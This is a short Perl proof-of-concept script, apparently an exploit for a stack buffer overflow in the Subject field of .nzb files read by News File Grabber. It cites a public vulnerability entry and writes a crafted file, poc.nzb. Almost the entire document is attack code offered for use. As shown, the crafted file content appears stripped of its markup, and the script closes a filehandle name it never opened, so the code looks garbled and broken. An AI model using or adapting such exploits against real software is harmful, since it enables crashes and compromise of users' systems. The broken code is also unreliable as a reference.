#!/usr/bin/perl
# ===============================================================================================
# News File Grabber Subject Line Stack Buffer Overflow perl exploit
# By Parveen vashishtha (parveen_vashishtha@yahoo.com)
# ==============================================================================================
# Reference : http://www.securityfocus.com/bid/22617
#
#
#
# Buffer overflow exists in Subject parameter of the .nzb file
# By Passing a newline char it crashes
# So here you go.
#
#================================================================================================
use strict;
my($file_header)="\n".
"\n".
"\n".
"\n\n";
my($file_end)="\n".
"\n".
"\n".
"\n";
open(OUTPUTFILE, ">poc.nzb"); # Crafted .NZB file
print OUTPUTFILE $file_header; # Writing Header
print OUTPUTFILE "\nsome group\n\nsome name";
print OUTPUTFILE $file_end; # End of file
close(OUTFILE);